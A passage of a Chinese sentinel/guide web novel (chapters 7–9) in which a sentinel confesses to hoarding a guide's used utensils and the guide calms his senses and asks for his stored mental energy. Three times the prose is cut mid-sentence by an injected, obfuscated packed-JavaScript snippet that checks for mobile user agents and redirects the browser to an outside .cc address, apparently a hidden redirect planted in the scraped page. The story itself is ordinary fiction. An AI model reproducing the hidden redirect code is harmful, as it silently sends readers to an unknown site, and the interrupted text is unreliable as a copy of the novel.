向导素来源于向导,其实闻璱摸过碰过的所有东西,多多少少都沾染着闻璱的向导素。 但新风系统也不是白装的,空气中的向导素含量已经很轻微。 而弓铮皎又不能把工作室的家具搬走,或者突然暴起扒扯闻璱的衣服。 同时,弓铮皎又那么敏感,恐怕接触过其他哨兵的手套,他也无法忍受气味。 所以这双只短暂戴了片刻,除了闻璱之外没接触过他人的手套,对弓铮皎来说,才真是可遇不可求。 但也是这话说出口之后,闻璱突然反应过来什么。 就算弓铮皎的背弓得越来越低,看起来更可怜也更好笑,闻璱也完全笑不出来一点。 “所以,我每天吃饭用过的餐具,你也……” 7. 第 7 章 寂静。 死一般的寂静。 连阿咬都在沉默中消失。 好半天,弓铮皎才说:“我也不是故意的。” “你不是吗?”闻璱反问。 “真不是。”弓铮皎的耳朵红得能滴血,“一开始只是听到你经常没空吃饭,想让你吃口好的。是那天回家之后,误打误撞才发现……” “才发现可以保留我的餐具。”闻璱咬牙切齿,“所以那天之后菜种类越来越多,盘子越来越小,吃一顿饭要刀叉筷勺全都用个遍。” 那时他还以为这只是单纯的上流风气,贵麻烦不贵多。 “你说实话。”闻璱阴恻恻道,“你不会回家偷偷舔我用过的叉子吧?” “怎么可能!”弓铮皎怒气冲冲地转过头,似乎不能接受自己遭此指控。 闻璱终于松了半口气。 “我只是把它们摆在床头助眠。”弓铮皎反驳。 “……” 刚松下来的半口气,好悬没彻底断了。 一想到有人把自己用过的餐具全都偷偷保存起来,用来做催眠熏香…… 闻璱就觉得有些头皮发麻。 而且费解。 而且发麻。 “正巧闲着,不如你坐下我们好好聊聊。”闻璱指了指弓铮皎常坐的沙发。 等弓铮皎不太情愿地坐下,他干脆开诚布公道:“你需要向导素,却拒绝安抚——或者说,拒绝和向导建立信任关系,你在这方面有什么创伤吗?” “没有。”弓铮皎摇摇头,“只是我年轻的时候太冲动了。” 又是这种仿佛行将就木的老头才会说出来的话。 闻璱轻笑一声:“可你现在也只有二十八岁而已。” 明明人生之路还很漫长,闻璱不明白,他为什么有时说的话如在迟暮之年。 沉默片刻,弓铮皎终于缓缓开口:“除了在小黑屋,我上一次接受向导安抚是在十岁,后来我自视甚高,拒绝了一切安抚和帮助。” 听到“十岁”这个准确的年龄,闻璱不禁微微睁大了眼睛。 由于感官过于敏感,哨兵生活中所接受的信息量过大,时间久了难免会无法处理,进而产生异常。 积攒的异常过多,精神体暴动不说,哨兵还有进入轻度神游状态的风险。 届时,哨兵陷入昏迷,精神体无法响应,精神图景中的风暴会敌我不分地攻击一切,包括哨兵自身,也包括进入精神图景安抚的向导。 如果持续得不到帮助,轻度神游状态转为神游症,哨兵就会永远陷入沉眠,成为植物人。 目前的绝大多数哨兵都会定期安抚,争取连暴动状态都不会达到。 因为暴动就会被强制投入疗愈中心,也就是“小黑屋”。 无论是大多数的结合派,还是罕见得离谱的融合派,神游总是平等的。 就像死亡会平等地降临在穷人和富人身上。 只不过富人有更多的金钱来减少痛苦,就像结合派哨兵生活中通常更频繁地被向导调整感官,往往异常得更缓慢一些。 而弓铮皎是一个自信得过分的融合派。 也就是说,在那之后的十六年,每一次精神暴动,弓铮皎都是靠自己硬生生熬过去的。 他到现在都没有神游,只能说是个奇迹。 闻璱凝重道:“即便是融合派也需要帮助,不想在战斗中依赖他人,也不意味着就需要彻底放弃后勤的帮助。” “这个道理,如果我能早懂几年,或许会好些。”弓铮皎平静而淡然,“但当时,我就是认为自己能开创一个属于融合派的时代。” 这样划时代的人物,一定是完美到永远只靠自己的吧? 至少十几岁的弓铮皎是这样天真地幻想着。 而二十八岁的弓铮皎想要向现实低头,才发现自己连低头的机会都没有了。 他面色平平,似乎已经做好了接受任何嘲笑,抑或是怜悯目光的准备。 但闻璱轻笑了一声,赞赏道:“那很有志气啊,厉害。” 弓铮皎抬眼望去时,只见闻璱眼神真诚而欣赏,甚至不带一丝惋惜。 似乎闻璱只是在赞叹他的勇气,也真心实意地认为这段堪称“自断后路”的心路历程,并不是个笑话,也没有什么值得后悔的。 他不知道这是不是闻璱的演技太好,也不太明白自己为什么会突然觉得心里乱七八糟。 像兴奋,但明明他不是会因为别人的认可而沾沾自喜的人。 那股晕人的香气又开始蔓延了。 闻璱又问:“所以呢?” 弓铮皎几不可察地深呼吸一口,然后继续道:“我太久没有尝试过和向导建立精神连接,已经做不到‘信任’了。” 他的声音渐渐古井无波,冷静得仿佛在说别人的事,“所以,没有向导能进入我的精神图景进行安抚。” 闻璱评价:“你在抗拒别人。” 弓铮皎皱眉:“我没有。” “有。”闻璱道,“这份抗拒来源于恐惧,你害怕你误伤他人,所以不愿意接受有人冒险进入你的精神图景。” 弓铮皎的眉头拧了又拧,好半天才承认:“好吧,你说得对,因为你不知道你们向导在我眼里有多脆弱。” 顿了片刻,他又道:“而且你因果倒置了,是我担心误伤他人,所以无法建立信任关系,说实话,我并不抗拒如果有人真的能进入我的精神图景。” “真的吗?”闻璱在他身侧坐下,认真道:“那让我试试。” 弓铮皎心里登时停跳一拍,立刻起身,“我要走了。” 但这一次,有一只尾巴轻轻绊住他的脚。 阿咬不知何时又出现了,它可怜巴巴地望着闻璱,低沉地“呜”了一声卖萌。 弓铮皎:“……” 闻璱:“……” 真是教科书级别的口是心非。 “听我说完,”闻璱开口,“我刚才说,你在抗拒别人,但我没有说,这个‘别人’也包括我。” 他凝视着弓铮皎尴尬得乱飘,不知该往哪看的眼睛,声音冷了半分:“尊重些,看着我。” 弓铮皎只得难为情地把眼珠子转回来。 闻璱示意弓铮皎坐下,然后再一次缓缓靠近弓铮皎。 终于,他将手轻轻放在弓铮皎的肩上。 “你抗拒别人,唯独不抗拒我。”闻璱轻声道,“能告诉我为什么吗?” “没什么为什么。”弓铮皎闷闷地说。 “真的吗?”闻璱道,“让我看着你的眼睛。” 距离越来越近,直到闻璱看到蓝紫色的湖泊中倒映出自己的面孔——就像在阿咬眼中看到小黑一样。 唯一的差别是,弓铮皎在疯狂地眨眼,仿佛距离太近,呼吸的气流都让他眼皮瘙痒。 但闻璱仿佛明白了什么。 “弓铮皎,”闻璱问,“为什么不呼吸?” “呼吸……我在呼吸啊。”弓铮皎还在嘴硬。 “你不抗拒,却在逃避,真有意思……”闻璱垂眸看着他,微微一笑。 弓铮皎终于倒吸一口凉气。 闻璱直起腰,距离渐渐拉远。 一个上一秒还豪情壮志地说“我要开启新的时代”的哨兵,下一秒因为被自己靠近,就紧张得忘了呼吸……闻璱一边荒谬好笑,一边又生出几分说不清道不明的情绪来。 他忽略那丝陌生的心绪,下了定论:“你喜欢我的脸。” 弓铮皎:“咳咳咳咳咳!” 闻璱转过头,再次向阿咬伸出手,像逗猫一样指了指自己的脸。 果然,阿咬立刻伸出舌头,作势要舔。 不用闻璱阻挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418156|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,弓铮皎已无法忍耐地把二五仔阿咬赶回精神图景。 咳过之后,弓铮皎一抬头,便迎上闻璱似笑非笑又颇有几分了然的表情。 闻璱一直知道自己长得好,也偶尔享受到一些美貌的红利——譬如在圣所的第一年,如果不是因为长了这么一张出类拔萃的脸,他很难在名不见经传时,就认识警卫部长的儿子。 但也只是认识而已。 至少彭枭没有因为颜控就做到弓铮皎这个地步。 虽然除了脸,弓铮皎对他的向导素也很有企图,但是…… “你就打算继续这样,一边豪掷千金,一边偷偷保存我的垃圾?”闻璱颇有几分好整以暇,“前首席,作风这么阴湿?” 弓铮皎简直满头冷汗。 闻璱道:“那你就没想过,如果你直说要跟我买向导素,我可能会提供给你?” 弓铮皎艰难地问,“你会吗?” 他不敢说,他还真没考虑过这种选项。 因为对于绝大多数向导来说,向导素像是一种特殊且对哨兵有奇效的“体味”,实在是一个不算涩情,也不难堪,但绝不那么乐于与人议论的话题。 圣所的哨兵学前教育第一课,就是社交中不要主动与向导攀谈对方的向导素,非常冒犯。 闻璱不用问都知道弓铮皎在想什么。 巧也不巧,闻璱刚好就是这样一位非常物质、非常见钱眼开、非常不“自爱”的向导。 他凉凉地反问:“那你觉得比起直接问,难道偷垃圾会显得更体面吗?” 弓铮皎哑火了。 他在逃避对视与偷瞄之间反复横跳数次,终于强自镇定下来,硬着头皮说:“我……我又不是不给钱,你就让让我吧。” 闻璱没想到他宁可当个怨种,都不肯直说,有些无奈:“为什么不一步到位呢?” 弓铮皎需要向导素,无非是因为向导素对哨兵有一定镇定效果,也能缓解异常乃至暴动时的精神痛。 比起向导素这种治标不治本的手段,一次安抚对弓铮皎的情况改善更大。 话题兜兜转转地,又绕回了这里。 但气氛不似那时严肃,变得阴湿而又粘稠,带着一丝若有若无的暧昧,和只有弓铮皎能感觉到的头晕。 身在其中,弓铮皎简直无地自容,完全丧失了主动权。 闻璱再次道:“我们试试?” 这一回,不是“让我试试”,而是“我们试试”。 弓铮皎放在膝上的双手神经质地抽了抽,似乎心中正在天人交战。 闻璱用胳膊肘轻轻撞了一下弓铮皎的手臂。 他知道弓铮皎无法定夺,或许是因为害怕伤害自己。 正要说些什么安慰的话,就听弓铮皎低声道:“你也是融合派。” 闻璱挑了挑眉,不置可否:“我们讨论的话题,和这有关吗?” “融合派对精神体、精神力的掌控更强。”弓铮皎道,“这是我能坚持到现在的原因,但是……似乎不是你能在不熟的情况下,就安抚那些哨兵的原因。” 不愧是前任首席,有史以来最强的S级,即便没有被闻璱安抚,仍然能察觉出端倪。 闻璱凝视他片刻,大方承认:“你说得没错。” 他确实是融合派,面对着同为融合派的弓铮皎,这没什么好隐瞒避讳的。 闻言,弓铮皎了然地点点头,终于卸下一半心防。 他斟酌着道:“我的精神图景并不安全,你或许有对其他人的经验和自信,但是,我不一样。” “我……”弓铮皎话音含糊,“我必须先确认你有自保的能力,你是融合派这一点很好,但是还不够。” 说到这里,闻璱终于明白了。 弓铮皎想要见他的精神体。 对于闻璱来说,这才是个真正值得苦恼的难题。 8. 第 8 章 对视片刻,闻璱突然站起身。 “你想测试我的本事,只让你看看精神体,你能安心吗?”他拍了拍自己的衣袖,“我们效率一点吧,去训练中心。” 弓铮皎:“?” 去训练中心干什么? 闻璱悠然道:“这里太小,阿咬伸不开手脚,约个训练场,我们切磋一下。” 弓铮皎只觉得匪夷所思:“你在开玩笑?” “开什么玩笑?我是认真的,这是最一劳永逸的办法。” 说着,闻璱竟然就准备披上外套出门,这简直令哨兵肝胆俱裂——怕他真的在训练场被自己打残。 弓铮皎也站起身,在闻璱身后道:“我不是看不起你的意思,只是——” 话没说完,闻璱蓦然转身,毫不客气地抬手捏住了弓铮皎的下巴。 “咔”地一声,闻璱卸了他的下巴。 阿咬咆哮一声,但紧接着,闻璱的精神力化作一条无形丝带裹住阿咬,把它捆成一个好紧实的粽子,不能寸动。 它张着血盆大口,却发不出声音,显得像一张定格照片。 隔着口罩,弓铮皎感觉到,闻璱托着自己的下巴,用大拇指摩挲着自己的四颗虎牙。 向导素就这样被口罩隔绝,以至于弓铮皎舌根发麻,竟然下意识地想去追逐。 幸好,他忍住了。 “你很能忍。”闻璱却扬了扬眉毛,“所以,我能压制住你。” 被如此对待,弓铮皎以为,自己应该是愤怒的。 就像阿咬那样,被弱小生物冒犯、挑衅,但因为受到社会秩序和道德的约束,才勉强克制暴戾回击的欲望。 但是,不知为何,他注意到了闻璱的眼睛。 闻璱有一双微微上挑的眼睛,虹膜是粉红色的,藏在雪白的睫毛下,像…… 像冰箱里的一颗荔枝。 此刻这双眼睛认真地注视着自己。 格外冷淡,也格外清甜。 他望进闻璱的眼中,宛如被喂了一颗冰凉的荔枝,莫名其妙地感到平静,和一丝细微的满足。 待得回过神来时,弓铮皎才后知后觉地脑袋发晕。 阿咬已经消失了。 而他发晕不是因为下巴不知何时被接回来的微痛,反而是因为脑袋里那折磨人的精神痛一扫而空。 同时,被调整过的感官竟然让弓铮皎感到陌生。 或许被感官和精神痛折磨习惯了,猛然轻松下来,才觉得无法适应。 恰在此时,闻璱善解人意地调低了白噪音强度。 弓铮皎才被动反应过来,他的感官被调整了。 不只是听觉,还有嗅觉……弓铮皎摘下口罩,深呼吸体会着如此陌生的世界。 他没有忘记疑惑:怎么可能有向导能在不建立信任关系、不进入哨兵精神图景的情况下,调整哨兵的感官? “你……?”弓铮皎一时间都拿不准该如何组织语言。 闻璱捏着弓铮皎的肩膀,把他按回了沙发上。 当然,也是弓铮皎现在心服口服,毫无对抗的想法。 “别人不行,不代表我不行。”闻璱又恢复了那副温和礼貌的模样。 他体贴地将一杯温水放在弓铮皎面前,然后在弓铮皎的对面优雅坐下。 “现在,不如重新考虑考虑我的提议?”闻璱微笑。 弓铮皎把水乖乖地喝了。 他沉思片刻,脑子和逻辑终于先后返工。 弓铮皎抬眼看向闻璱:“你为什么愿意帮我?” 弓铮皎也不是个蠢货。 闻璱不收他的钱,却说“交个朋友”,不是想放长线钓大鱼,就是别有所图。 弓铮皎并不因此而反感,一方面他确实隐藏了自己的秘密,另一方面,他其实也不太在乎闻璱有什么企图。 他反而担心闻璱真的那么品德端正,对金钱利益毫无渴望,让自己无处下手。 以前,弓铮皎承认闻璱确实是个格外漂亮,又格外优秀、努力,性情也很温顺的向导。 接私活安抚哨兵怎么了?又不违规。 他确实颇有几分“救风尘”的情节,但是……他其实并没有考虑过,闻璱真的能够帮他。 直到此刻,弓铮皎才突然发现,似乎闻璱能够给他带来的好处,已经超过了闻璱接受的礼物价值。 也是这一刻,他猛地意识到,就算不是自己这样的特殊情况,闻璱也有“清高”的资本。 因为闻璱可能真的是唯一一个有希望带给他“临终关怀”的向导。 闻璱没有回答这个问题。 他微微一笑,伸手收走弓铮皎用过的杯子,把玩片刻后作势附近唇边,仿佛要喝。 但杯中空空,他只可能轻轻抿过弓铮皎并不存在的“唇印”。 弓铮皎看得汗毛都要起立了,觉得胃里像有蝴蝶在飞——是恼怒,是恶心,是紧张……还是期待? 然后,闻璱轻轻对着杯子里吹了一口气。 他把玻璃杯递给弓铮皎,微笑道:“这次别翻垃圾了,拿这个走吧。” . 但弓铮皎最终没有把玻璃杯放在床头。 闻璱离开工作室之后,他也回到楼上的家里。 他的房间装有市面上甚至买不到的顶级白噪音设备,层高更高,本该比闻璱的工作室更令哨兵感到舒适。 但是,因为没有向导素,弓铮皎竟然更想回到一层的工作室。 闻璱现在已经下班离开,也就是说新风系统关闭,那个空间里仍然会有闻璱呼吸过的空气……就像被他光速密封的那个玻璃杯里一样。 弓铮皎不敢让闻璱知道,自己竟然做到这个地步。 这太变态了,换位思考,如果被人这样对待,弓铮皎也会觉得头皮发麻,甚至被恶心得想吐。 所以他会把这个秘密带到坟里。 洗漱之后,弓铮皎躺在床上,在舒适的白噪音里打开终端。 闻璱和彭枭拉扯的原贴已经被管理员禁止回复了,半个月过去,热度散了一点,但不多。 至少现在首页就还有好几条用各类暗号讨论这件事的水帖。 弓铮皎挨个点进去浏览,发现还是老生常谈的那些话:说闻璱人模狗样,真是知人知面不知心。 弓铮皎心道:确实。 至少前几个月在家里偷偷上演窃听风云的他,从来不知道闻璱还有今天这么…… 这么有攻击性的一面。 他很想给这些评论点个赞,但必须忍住。 因为前几天他手滑点了一个试图替闻璱正名的回复,本意是想表达一种“和解”。 结果被人截图开帖,说该层主完蛋了,敢和弓铮皎对着干,这不就被他盯上了吗。 弓铮皎:…… 蒸饺omo,从那一刻开始谨言慎行。 他往下划了划,却在一条臆测闻璱的小队内部也有口口关系的回帖下,看到一个熟悉的ID:AAA拔牙小鸭。 层主自称在污染区偶遇闻璱小队除闻璱本人外的所有人,吃到了惊天大瓜。 AAA拔牙小鸭:【细说。】 层主回复:【小号别来,普通人更是滚远。】 然后AAA拔牙小鸭竟然真的不再回复,也不知道是不是被层主拉黑了。 弓铮皎思索片刻,觉得自己有必要“投桃报李”一下。 他点开层主主页,对这个“热心林友老网”发送好友申请,附带一条验证信息:【有偿,细说。】 对方很快通过申请,主动发来:【哥们,你是今天早上我回复之后,第八十个来找我吃瓜的了,不用这么客气,都有都有。】 热心林友老网:【等等,不对!】 热心林友老网:【你是真的蒸饺哥,不是高仿啊!】 弓铮皎发了一个大红包过去。 热心林友老网领了红包,立刻把已经发给过无数人、总结好的聊天记录打包发来。 展开记录细细阅读,果然如热心林友老网在贴子里的回复所说,在污染区遇到了闻璱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418157|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小队除了闻璱之外的其他人。 那时,这几人不知道因为什么而起了争执,分成逄靥星和彭枭两派,甚至小打出手。 期间,热心林友老网还发扬热心,上去劝了两句,不过没能起什么效果。 反正最终的结果是,逄靥星和向导冬歆亭两人选择继续任务,彭枭和另外三个哨兵四人则决定离开污染区。 通读过后,弓铮皎有些困惑。 蒸饺omo:【这和闻璱有什么关系?】 明明从头到尾,闻璱都没有参与进事件里。 热心林友老网:【就知道蒸饺哥你最关心这件事。】 热心林友老网:【因为他们吵架的时候,一开始,彭枭骂逄靥星是小三,结果后来反转,彭枭发现自己才是后来者,只不过没能居上!】 【原来逄靥星和闻璱在圣所的时候就谈过,彭枭还说,逄靥星一直知道闻璱那些乱七八糟的关系,但逄靥星不介意。】 【他们几个人的关系实在是太乱了……】 【不过,彭枭没跟你说吗?】 蒸饺omo:【我跟彭枭不熟。】 回复完这句话之后,弓铮皎在震惊中退出聊天,放空地看着天花板。 他知道彭枭臆测的那些口口关系都不是真的,闻璱和客户真的很清白。 只不过,因为私下安抚毕竟是违规行径,闻璱叮嘱客户千万不要解释,自己也三缄其口。 所以,弓铮皎的脑袋里,其实只有一句话在乱转: 逄靥星是闻璱的前任? 逄靥星是闻璱的前任…… 可能是真的。 因为他记得,上上周的某一天,逄靥星确实来过工作室。 安抚前后,闻璱待逄靥星也确实不同于对其他客户。 格外亲近。 那天晚上,闻璱还坐上了逄靥星的车。 副驾驶座上放着一小束花,弓铮皎不会忘记,闻璱看到那束花时笑得多么开心。 他们好像真的还挺搭配的。 甚至就连精神体也是一黑一白,很互补。 虽然闻璱似乎很少召出精神体,具体种类不知,但战斗、任务中难免有一些表现——据推测,闻璱的精神体是一只黑鹦鹉,也有人说是渡鸦。 无论如何都一定是某种黑色鸟类,而逄靥星的精神体是一头雪白的北极熊。 弓铮皎抿了抿嘴,把聊天记录打包转发给了闻璱。 闻璱:【?】 蒸饺omo:【我看到你的回复,就去问了,他是这么说的。】 蒸饺omo:【你在担心他们吗?】 据热心林友老网说,闻璱小队的任务在污染区核心地带,甚至在最危险的一区。 在这样的情况下起内讧,甚至还要分开行动,确实很危险。 弓铮皎忍不住想:说不定闻璱今天之所以对自己突然殷勤,是希望让自己帮这个忙——深入一区捞人。 不怪弓铮皎盲目自信,毕竟一区确实危险,没几个哨兵愿意冒这么大的险。 闻璱:【是有一点。】 弓铮皎心道:果然。 他正想旁敲侧击地打探一下,闻璱和逄靥星是不是真的有过一段,并用闻璱的咒语“你为什么不直说”来攻击闻璱。 一条新消息就弹了出来: 闻璱:【逄靥星要吃处分了。】 确实,任务期间因私人恩怨闹出这些事,还被人目击之后发布论坛、四处传播,公会那边不可能不注意到。 无论任务是否完成,逄靥星作为副队长都难辞其咎。 弓铮皎觉得自己也没猜错太多。 虽然不是为了逄靥星的人身安全,但还是在关心逄靥星。 也不知道这种让人操心的蠢哨兵到底有什么好…… 闻璱:【吃处分会扣全队积分的,要是害得我拿不到今年的排行奖励……】 闻璱:【我会假装玩SM把逄靥星往死里抽。】 闻璱:【到时候,你也可以来打下手。】 9. 第 9 章 回复过弓铮皎的消息之后,闻璱就切回了小号。 热心林友老网确实拉黑了AAA拔牙小鸭,但愿意帮闻璱打听一声的哨兵,也不止弓铮皎一个。 在弓铮皎发来消息之前,花豹哨兵就带着所有聊天记录,来问闻璱,需不需要帮忙联系公会那边,申请救援。 闻璱拒绝了。 逄靥星确实偶尔有冲动犯傻的一面,但他不是死要面子活受罪的人,至少在正事上值得信任。 既然逄靥星决定让彭枭滚,自己带着向导继续执行任务,闻璱也会选择相信逄靥星的判断。 但是,既然这几个人在任务期间都撕破了脸,他们这个小队恐怕也很难继续维持。 等彭枭和逄靥星从污染区回来,恐怕第一件事就是进行解散小队的登记。 闻璱这个脱队两年的队长,对此也没法说什么。 当然,闻璱其实清楚,逄靥星的新队伍里,也一定会有自己的一席之位。 但他还是有点惆怅。 因为原本的编队在评定等级和人数上都是满配,达成了排行榜苟分的最高加权。 想要再组一个这样的队伍,苟最高的分,可不是件容易事。 只能说事已至此,闻璱也只能把这些无用的多愁善感都扔掉。 倒是弓铮皎,让闻璱稍觉意外。 隔着口罩抚摸弓铮皎的虎牙时,他没有错过弓铮皎眼里的渴望。 换了别人,结合偷垃圾桶里用过的手套、私藏用过的餐具来助眠这些行为,很难不认为弓铮皎是一个迷恋自己的变态痴汉。 偏偏闻璱早已见过太多真正的迷恋。 因为□□、因为对美貌的欣赏、对强大的仰慕、对有效安抚的依赖、因为他独有安抚手段而产生的特殊情愫,闻璱都见识过。 正因为见过,闻璱才觉得弓铮皎不简单。 弓铮皎的眼中或许有欣赏,因为闻璱脸恰好符合他的审美。 大概也有怜爱,出于大哨兵主义对向导的轻视。 却也有一些闻璱暂时还看不懂的情愫,似是而非。 可是,为什么呢? 美丽的外表和激起保护欲,似乎可以是一段肤浅而又无趣的迷恋产生的源头,闻璱并不吝于这样剖析人性。 唯独面对弓铮皎时,他总觉得,似乎没那么简单。 当然,抛开这些,也是因为弓铮皎表现出最多的,还是对向导素的强烈渴望——几乎到了得不到就会死的程度。 弓铮皎能跑能跳,情绪稳定,精神体状态正常,为什么会对向导素渴望到这种的程度? 就像闻璱没有明说自己愿意“被接近”的原因是拟态孤独症,弓铮皎也同样有瞒着他的秘密。 各怀鬼胎,各取所需。 细细想来,这样反而好过弓铮皎真的对他产生什么感情。 一个更强、更富、更特权阶级,还更游手好闲的彭枭…… 那真是太可怕了,想想都要做噩梦。 . 新的周六晚上,临走之前,弓铮皎把一个首饰盒子放在桌角。 闻璱早就打起十二分精神,都没能当场抓包住弓铮皎的小动作,只来得及出声阻拦:“等等。” 不愧是S级哨兵的体能,如果用来变魔术,一定没人能发现。 只是,闻璱有时真的不明白,弓铮皎又不是在做亏心事,为什么要这么有偷感? 明明弓铮皎的精神体也不是什么老鼠、蟑螂一类。 弓铮皎回过头,瞥了一眼被闻璱拿在手中的首饰盒,淡淡道:“不是说要首饰吗?做好了。” 态度倒是理所当然,如果行为不是那么偷偷摸摸的话,更让人能理解一点。 闻璱没有打开,把盒子递到弓铮皎手边:“可以帮我打开吗?” 弓铮皎于是接过首饰盒,“啪”地一下打开。 闻璱随意扫过一眼,顿时觉得有什么不对。 “这颗宝石……好像有什么不对?” 他很少用这种不太确定的语气说话。 说实话,闻璱不是个太懂珠宝首饰的人。 但成色、工艺、设计可能有欣赏门槛,尺寸总是最直观的。 被做成手链主石放在首饰盒里的这颗蓝宝石,明显比闻璱上一次见到的那颗大了不止一圈。 只是,作为收礼的人,提要求不说,还对礼物指指点点,多少显得素质很差。 弓铮皎语气平平,似乎对此毫不意外:“换了一颗。” 闻璱:? 面对闻璱的困惑,弓铮皎显然也有些不解。 “你不是说要做成首饰吗?”他又重复了一遍,“之前那颗是精神力宝石,价格更高,是让你拿去卖钱的,但成色没那么漂亮。” 说着,弓铮皎把手链拎出来,示意闻璱戴上。 口中解释道:“做手链的话,还是要通透一点的更好看。” 闻璱:“……” 蓝宝石手链被递到闻璱手边,只等着闻璱轻轻抬手,弓铮皎就会替他戴上。 闻璱终于说:“有没有一种可能,我就是想要一颗精神力宝石呢?” 弓铮皎沉默片刻,然后麻利地把手链放回首饰盒,又潦草地一并塞进他巨大的卫衣口袋里。 他觉得闻璱真的很难伺候,时不时就会刷新自己的认知。 闻璱也觉得弓铮皎比鱼缸里的鱼还要异想天开,动不动就会跳缸。 见弓铮皎一言不发又打算离开,不知道是又一次热脸贴了冷屁股终于开始不爽,还是拍马屁拍到马腿上的恼羞成怒。 “等一下。” “你上次问我,我为什么要帮你。”闻璱缓缓道,“当然不是免费的,我需要你的精神力。” 精神力宝石能够储存精神力,闻璱原本就打算接受这颗宝石,只不过一颗米粒大的宝石不便随身携带,他才说需要一件好戴的首饰。 他只是没想到弓铮皎贴心得有些太过分了,居然还帮他考虑到了美观的因素。 这个要求既普通,也小众。 因为精神体和精神图景,其实都是精神力的一种具象化体现。 就像结合派也有少部分向导善于使用精神力,能将精神力作为一种攻击手段来使用。 换句话说—— “把宝石放在精神图景里储存好精神力,然后……” “让阿咬拿去舔一舔?” 异口同声,面面相觑。 “……你怎么会这样想。”闻璱说,“明明在精神图景里放置一段时间就好,对于S级哨兵来说,这应该不是难事吧?” 弓铮皎后知后觉地不自在起来,偏过头道:“我知道了,过几天给你。” 丢下这句话,弓铮皎就匆匆离开,似乎毫不关心闻璱要用他的精神力做什么。 又或者,是这涉及了那个他想要掩饰的秘密,以至于比起追问闻璱,他更希望自己不要暴露。 第二天早上,在某个不留意的瞬间,新的手链就出现在闻璱的桌角。 快得令人震惊,让人很难不怀疑弓铮皎该不会原本就定做了两条。 闻璱打开一看,顿时觉得自己想多了,弓铮皎哪有那么多心思。 五金的痕迹略显潦草,很大概率是弓铮皎连夜亲手撬开镶嵌,换了原本那颗米粒大的精神力宝石进去。 倒是为难这位大少爷了。 宝石里已经储藏好弓铮皎的精神力,闻璱思索片刻,果断把它扣上手腕。 他并没有避讳自己的动作,自然也没有错过弓铮皎暗中投来的余光。 沙发上的弓铮皎看起来只是刷终端,仿佛在闻璱的工作室里,只有这一件事是被允许光明正大做的。 闻璱大方地抬起手腕晃了晃,故意道:“手艺不错。” 显然是看出了弓大少爷亲自动手改装手链的心意。 听到这话,弓铮皎装作才看到的样子抬起头,认真道:“原来那颗宝石会更好看。” “或许吧。”闻璱对这个话题兴致缺缺,注意力已经放到了手头的档案上。 翻着翻着,他突然随口说:“这颗是不是更接近你眼睛的颜色?像秋天的晚霞。” 更紫、更深邃,戴在手上更显白。 但半天没得到回复,闻璱抬起头,才发现弓铮皎一直愣愣地看着自己。 这话似乎说得有些暧昧了。 闻璱道:“只是字面意思。” 弓铮皎点了点头:“我知道,只是,那不是它原本的颜色,是因为我。” 弓铮皎把自己的终端放在闻璱面前,屏幕朝下。 背面还是那么璀璨,镶满了大小各异的宝石钻石,结合终端主人的身份,一股富贵的价值感扑面而来。 但是,因为刚才谈论的话题,闻璱终于看出来,有许多颗钻石都是和弓铮皎眼睛类似的蓝紫色,但深浅不一。 “天然钻石是一种对精神力有高敏感度的媒介,即便不属于精神力宝石,也能用来测试。而我接触过的钻石都会产生变色,也就是说,我似乎在无意识地散发微量精神力。” “但是,不知道为什么,在你这里时,这种现象似乎逐渐消失了。” 说着,弓铮皎点了点自己终端背面的宝石:“在几周前,它们的颜色还要更深一些。” 原来那个浮夸的终端还有这样的考虑。 闻璱对这方面没什么研究,但这闻所未闻的说法,实在和闻璱的某些猜想不谋而合。 他之前认为弓铮皎的精神力对自己的病症有效,是因为阿咬似乎曾经“看见过”小黑。 奇怪的是,在同一空间内的闻璱和弓铮皎都无法直接观测的小黑,却出现在阿咬的眼睛倒影里。 闻璱在想,难道弓铮皎的精神力,竟然某种精神力的“桥梁”? 又或许,是“频率”不同。 而弓铮皎此刻的话,似乎又将闻璱的思路引向另一个路口:小黑在吸收弓铮皎的精神力。 毕竟,闻璱从来没感觉到,弓铮皎身上有过逸散出来的精神力。 ……但小黑明明是自己的精神体,为什么要借助或是吸收别人的精神力才能显形? 闻璱有种自家孩子胳膊肘往外拐的郁闷。 印上弓铮皎的目光,闻璱装作新奇的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418158|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“真的吗?还挺神奇的。” 至少在现阶段,他并不打算将自己的情况告诉医生之外的人。 于是,闻璱转而礼貌性地赞了一句:“我也不知道,不过很漂亮。” 指弓铮皎的终端大钻。 弓铮皎顿时被带跑偏了,眼神亮晶晶地说:“真的吗?我自己做的。” 闻璱:? 弓铮皎有些不好意思:“一点点个人爱好,你真有品味。” 闻璱:“……” 婉拒了哈。 弓铮皎突然抬头看向门口:“有人来了。” 